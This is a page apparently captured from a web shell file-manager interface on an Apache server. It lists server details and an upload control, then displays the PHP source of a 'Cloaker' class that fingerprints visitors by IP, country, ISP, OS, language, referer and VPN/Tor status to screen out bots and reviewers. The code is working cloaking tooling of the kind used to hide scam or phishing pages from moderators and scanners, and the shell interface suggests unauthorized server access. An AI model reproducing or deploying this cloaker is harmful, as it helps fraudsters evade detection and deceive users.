HEX
Server: Apache/2.4.57 (Ubuntu) mod_fcgid/2.3.9 OpenSSL/3.0.2
System: Linux vmi267337.contaboserver.net 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
User: ohirex (1008)
PHP: 8.2.8
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,exec,system,passthru,shell_exec
Upload Files
File: /home/ohirex/web/ohirex.com/public_html/join/core.php
<?php
require 'bases/browser/DetectorInterface.php';
require 'bases/browser/UserAgent.php';
require 'bases/browser/Os.php';
require 'bases/browser/OsDetector.php';
require 'bases/browser/AcceptLanguage.php';
require 'bases/browser/Language.php';
require 'bases/browser/LanguageDetector.php';
require 'bases/iputils.php';
require 'bases/ipcountry.php';
use Sinergi\BrowserDetector\Os;
use Sinergi\BrowserDetector\Language;

class Cloaker {
    var $os_white;
    var $country_white;
    var $lang_white;
    var $tokens_black;
    var $url_should_contain;
    var $ua_black;
    var $ip_black_filename;
    var $ip_black_cidr;
    var $block_without_referer;
    var $referer_stopwords;
    var $block_vpnandtor;
    var $isp_black;
    var $result = [];
    var $detect = []; // Explicitly declare the $detect property as an array

    public function __construct($os_white, $country_white, $lang_white, $ip_black_filename, $ip_black_cidr, $tokens_black, $url_should_contain, $ua_black, $isp_black, $block_without_referer, $referer_stopwords, $block_vpnandtor) {
        $this->os_white = $os_white;
        $this->country_white = $country_white;
        $this->lang_white = $lang_white;
        $this->ip_black_filename = $ip_black_filename;
        $this->ip_black_cidr = $ip_black_cidr;
        $this->tokens_black = $tokens_black;
        $this->url_should_contain = $url_should_contain;
        $this->ua_black = $ua_black;
        $this->isp_black = $isp_black;
        $this->block_without_referer = $block_without_referer;
        $this->referer_stopwords = $referer_stopwords;
        $this->block_vpnandtor = $block_vpnandtor;
        $this->detect();
    }

    public function detect() {
        $a['os'] = 'Unknown';
        $a['country'] = 'Unknown';
        $a['language'] = 'Unknown';
        if (isset($_SERVER['HTTP_REFERER']) && !empty($_SERVER['HTTP_REFERER'])) {
            $a['referer'] = $_SERVER['HTTP_REFERER'];
        } else if (isset($_COOKIE['referer']) && !empty($_COOKIE['referer'])) {
            $a['referer'] = $_COOKIE['referer'];
        } else {
            $a['referer'] = '';
        }

        $lang = new Language();
        $a['lang'] = $lang->getLanguage();
        $os = new Os();
        $a['os'] = $os->getName();
        $a['ip'] = getip();
        $a['ua'] = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'Not Found!';
        $a['country'] = getcountry($a['ip']);
        $a['isp'] = getisp($a['ip']);
        $this->detect = $a; // Assign to the pre-declared property
    }

    private function blackbox($ip) {
        $url = 'https://blackbox.ipinfo.app/lookup/';
        $res = file_get_contents($url . $ip);

        if (!is_string($res) || !strpos($http_response_header[0], "200")) {
            return false;
        }

        if ($res !== null && $res === 'Y') {
            return true;
        }

        return false;
    }

    public function check() {
        $result = 0;

        $current_ip = $this->detect['ip'];
        $cidr = file(__DIR__ . "/bases/bots.txt", FILE_IGNORE_NEW_LINES);
        $checked = IpUtils::checkIp($current_ip, $cidr);

        if ($checked === true) {
            $result = 1;
            $this->result[] = 'ipbase';
        }

        if (!$checked && !empty($this->ip_black_filename) && file_exists(__DIR__ . "/bases/" . $this->ip_black_filename) === true) {
            $ip_black_checker = false;
            $custom_base_path = __DIR__ . "/bases/" . $this->ip_black_filename;
            if ($this->ip_black_cidr) {
                $cbf = file($custom_base_path, FILE_IGNORE_NEW_LINES);
                $ip_black_checker = IpUtils::checkIp($current_ip, $cbf);
            } else {
                if (strpos(file_get_contents($custom_base_path), $current_ip) !== false) {
                    $ip_black_checker = true;
                }
            }

            if ($ip_black_checker === true) {
                $result = 1;
                $this->result[] = 'ipblack';
            }
        }

        if ($this->block_vpnandtor) {
            if ($this->blackbox($current_ip) === true) {
                $result = 1;
                $this->result[] = 'vnp&tor';
            }
        }

        if ($this->ua_black != []) {
            $ua = $this->detect['ua'];
            foreach ($this->ua_black as $ua_black_single) {
                if (!empty(stristr($ua, $ua_black_single))) {
                    $result = 1;
                    $this->result[] = 'ua';
                }
            }
        }

        $os_white_checker = in_array($this->detect['os'], $this->os_white);
        if (!empty($this->os_white) && $os_white_checker === false) {
            $result = 1;
            $this->result[] = 'os';
        }

        $country_white_checker = in_array($this->detect['country'], $this->country_white);
        if ($this->country_white != [] && in_array('WW', $this->country_white) === false && $country_white_checker === false) {
            $result = 1;
            $this->result[] = 'country';
        }

        $lang_white_checker = in_array($this->detect['lang'], $this->lang_white);
        if ($this->lang_white !== [] && in_array('any', $this->lang_white) === false && $lang_white_checker === false) {
            $result = 1;
            $buf = strtoupper($this->detect['lang']);
            $this->result[] = 'language:' . $buf;
        }

        if ($this->block_without_referer === true && $this->detect['referer'] === '') {
            $result = 1;
            $this->result[] = 'referer';
        }

        if ($this->referer_stopwords !== [] && $this->detect['referer'] !== '') {
            foreach ($this->referer_stopwords as $stop) {
                if ($stop === '') continue;
                if (stripos($this->detect['referer'], $stop) !== false) {
                    $result = 1;
                    $this->result[] = 'refstop:' . $stop;
                    break;
                }
            }
        }

        if ($this->tokens_black !== []) {
            foreach ($this->tokens_black as $token) {
                if ($token === '') continue;
                if (strpos($_SERVER['REQUEST_URI'], $token) !== false) {
                    $result = 1;
                    $this->result[] = 'token:' . $token;
                    break;
                }
            }
        }

        if ($this->url_should_contain !== []) {
            foreach ($this->url_should_contain as $should) {
                if ($should === '') continue;
                if (strpos($_SERVER['REQUEST_URI'], $should) === false) {
                    $result = 1;
                    $this->result[] = 'url:' . $should;
                    break;
                }
            }
        }

        if (!empty($this->isp_black)) {
            $isp = $this->detect['isp'];
            foreach ($this->isp_black as $isp_black_single) {
                if (!empty(stristr($isp, $isp_black_single))) {
                    $result = 1;
                    $this->result[] = 'isp';
                }
            }
        }

        return $result;
    }
}
?>